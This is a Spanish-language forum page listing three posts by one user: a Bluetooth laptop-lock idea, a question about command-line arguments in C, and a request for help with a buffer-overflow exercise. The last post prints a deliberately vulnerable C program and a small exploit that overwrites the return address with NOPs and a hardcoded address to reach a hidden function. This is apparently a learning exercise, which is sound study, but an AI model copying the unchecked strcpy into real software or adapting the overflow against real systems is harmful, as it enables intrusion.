Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - drift_bit

#1
Buenas tardes, me gustaria saber si alguno de los usuarios de foro.elhacker.net sabe
si existe alguna funcion que haga esto, mi idea es realizar un programa para usar como llave mi celular... Me explico:

Quiero que mi Laptop solo pueda ser accesada si mi bluetooth de mi celular esta cerca... si no.. quiero que mi PC se blokee automaticamente...

Si alguien me puede ayudar, agradeceria mucho la respuesta luego si me resulta comparto el code :), o quizas si alguien quiere intentar desarrollarlo conmigo, ¿Por qué no?

Saludos!
#2
Bueno, hace un tiempo me preguntaba... como funcionaban los comandos en la consola...

Ejemplo: en CMD cuando usamos el comando shutdown -a -t90

Me preguntaba si puedo hacer un programa en C al cual le pueda enviar parametros de esa forma... alguna idea?
#3
Me gustaría me pudieran ayudar con el Exploit para el BufferOverflow,
el codigo lo copie de una publicacion de  Ikary.-

El problema ocurre en el retorno... Accedo a la funcion oculta...
Sin embargo luego sale la tipica ventanita de No Enviar...

Testeado en WindXP SP3, con Dev-c++.-

A continuación el programa Vulnerable a BoF:


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int LeerFichero( char *, char *, int );
int FuncionVulnerable( char * );
int FuncionOculta();
   
main()
{
      char buffer[1000];
      char nombre[] = "archivo.txt";
      LeerFichero( buffer, nombre, 1000 );
      FuncionVulnerable( buffer );
      system( "pause" );
      return 0;     
}

int LeerFichero( char *Fbuffer, char *Fnombre, int Limite ){
    int c, n=0;
    FILE *f;
    f = fopen( Fnombre, "r" );
    while( ( c = getc(f) ) != EOF ){
        if( n<Limite )
            Fbuffer[n++] = c;
    }
    Fbuffer[n++] = 0;
    fclose(f);
    return 0;
}

int FuncionVulnerable( char *cptr ){
    char buff[10] = "Datos";                 
    strcpy( buff, cptr );
    printf( " %s\n\n ", buff );
    return 0;
}

int FuncionOculta(  )
{
    printf( "  Descubriste la Funcion Oculta!" );
    return 0;
}




Y este es el exploit, programado en C, es una variación del source de Ikary, que lo hizo en C++:


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

main()
{
      char ret[] = "\xEC\x13\x40\x00";
      char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                    "\x90\x90\x90\x90\x90\x90\x90\x90";

      FILE *arch;
      arch = fopen( "archivo.txt", "w" );
     
      printf( "\n%s\n", ret );
      printf( "\n%s\n", nops );

      fputs( nops, arch );
      fputs( ret, arch );
      fclose( arch );
      printf( "\n\nExploit Listaylor\n" );
      getchar();
      return 0;
}



Si alguien me pudiera dar la teoria de que ocurre para intentar programarlo, lo agradecería muchísimo =]